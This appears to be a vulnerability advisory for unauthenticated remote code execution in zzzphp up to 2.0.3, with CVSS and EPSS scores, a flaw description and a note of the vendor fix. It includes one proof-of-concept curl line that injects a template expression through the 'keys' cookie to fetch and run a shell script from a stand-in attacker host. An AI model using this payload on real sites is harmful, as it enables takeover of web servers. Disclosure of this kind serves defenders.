7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.012 Low
EPSS
Percentile
85.1%
Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on affected installations of zzzphp. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the processing of the search template. The issue results from the lack of proper validation of user-supplied keys when processing the search template. An attacker can leverage this vulnerability to execute code in the context of the web server.
Affected Vendors:
zzzcms
Affected Products:
zzzphp <= 2.0.3
Vendor Response:
zzzcms has issued an update to correct this vulnerability. More details can be found at: <http://www.zzzcms.com/a/news/31_282_1.html>
curl -b 'keys={if:=`curl http://attacker.tld/poc.sh|bash`}{end if}' 'http://target.tld/?location=search'
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.012 Low
EPSS
Percentile
85.1%